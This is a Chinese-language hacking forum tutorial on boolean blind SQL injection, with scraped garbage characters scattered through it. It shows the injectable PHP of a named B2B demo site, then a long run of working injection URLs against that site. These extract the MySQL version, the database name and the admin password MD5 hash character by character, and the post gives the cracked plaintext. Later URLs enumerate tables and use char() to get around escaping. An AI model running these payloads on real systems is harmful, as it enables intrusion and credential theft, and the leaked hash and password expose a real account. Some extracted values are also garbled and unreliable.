|
|
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据,本文出于讲解的目的,使用更麻烦的盲注。8 X* X7 Z! O/ u4 F: e# J( L
阅读本文,需要有一点点SQL基础。盲注理解起来其实非常简单,就是做起来非常费劲
* ?4 a8 _) l. q, F作者:YoCo Smart
* v9 Y+ w$ d1 b来自:习科信息技术 - http://BlackBap.Org
$ _8 s! _) F1 `& ]6 E" K我们先来看注入点,是一个B2B网站建站公司: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
- 用户名已被注册
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
- select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1- s' Z" ~( V( z# I+ `' u
) p6 O# t3 i O4 V' ^4 w4 W. ~" ]复制代码
' E6 q2 @0 W) I- E6 w错误提示已经很明了了。我们看一下注入页面的代码(有删改): - $js_user = trim($_GET["js_user"]);
- if($js_user){
- $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
- if(!$num)
- echo "<div class=tips3></div>";
- else
- echo "<div class=tips2>用户名已被注册</div>";
- }
5 Q9 z$ W$ I5 V+ w T* |9 r/ J) M$ [
+ c6 z7 `6 h' g. q- `1 y复制代码
7 e' _1 }. L5 w! O" m$ q. Y以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合
: F/ E* u5 u0 @ S! s* {; j那么我们先从union的盲注来看吧。
, ]+ c% [/ i4 I: i0 \) V" s先看版本: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23
5 w _' p1 A% Z* n9 q / ~+ e K: t5 G8 L+ q. `
复制代码 i! U y4 B" Z! m
这个时候我们来看看原来的代码中的SQL语句是怎么执行的: - select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'
4 q( K% C+ a; v# \
6 K" ?. y2 ]* c9 B. I3 M! Z复制代码
( `% s+ M8 e U) p8 T因为执行成功,所以不符合if(!$num)这个条件,回显“用户名已被注册”,那么版本为5成立/ p3 r, w7 t9 w+ I+ w
再来看database()的数据: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
- database()长度6
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
- l
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
- li
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
- lic
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
- licl
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
- licln
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
- licclny
r4 _$ ] o" { ~! \+ j# X
" s: L/ R- H* \6 u6 ~复制代码1 c3 @% q3 g/ ^1 Q- ?) `
length()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。. L2 i0 J/ t3 N" j
这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。
. B. k+ j' l) N7 U再来看一点简单的判断句: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
- select userid from demo_b2b_member where user = 'admin'and length(pass)=32#') [; N2 O- h# T7 e! ^
3 `4 d8 e9 Y% D" B! ?7 Y
复制代码; I7 [ J1 M) K* B2 ~: W% \9 x
这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。# s4 x. s3 u) v3 v
这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句 q* X2 v( R! o% g1 p1 c1 y% t* x
那么这里就能得到: - 这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
- 长度是32,是md5加密,解密得到lcl2wly! f- \/ n1 w/ L: F! A0 t& r, u
8 u5 R; G z% L8 K& O, u: b4 r5 y复制代码
% O1 ]2 s3 h+ N; D" ~5 i/ p( t |这样,猜数据的方法你肯定是懂了2 g q% D i2 u' x# q/ `/ ^5 J
! b" { r ?7 Z, Q( L/ ]- h5 H
) v* _3 A* J/ l: W2 X1 p
最后,我们来看demo_b2b_admin以外的数据,现在再来猜表段: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23
6 O7 c* w' G# d
/ p) S! P4 V+ V1 @* ?复制代码; `: S4 X1 {% F: V% |
实际运行的SQL语句就是: - select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'
/ A _) N3 m5 S$ R6 X
/ i* ?( f: V- A2 H$ K& o! F9 N4 P复制代码
4 R" R% q+ R+ ^4 K; I上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。
+ z" n ?& g* K6 L! U关于limit x,y 的用法,可以参考MySQL手册
( h9 v* @$ y- e- Z0 L) s
6 F, V4 X5 N1 U% v- `% E3 b最后剩下的要说的就是ascii函数和hex函数了
+ ?4 h3 ~% G; ]2 c( b8 G+ @5 b9 [$ r- d这两个函数的意义是避开php的GPC转义,例如: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
- select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#
N6 ?3 J' ~, w
9 Y# r* V3 f2 _6 n R) M复制代码; U+ ?8 J# O7 G; t" [
substr()的用法可以参考MySQL手册,如果不懂,就这样套好了。Char()里面的数字替换为ascii码数字 |
|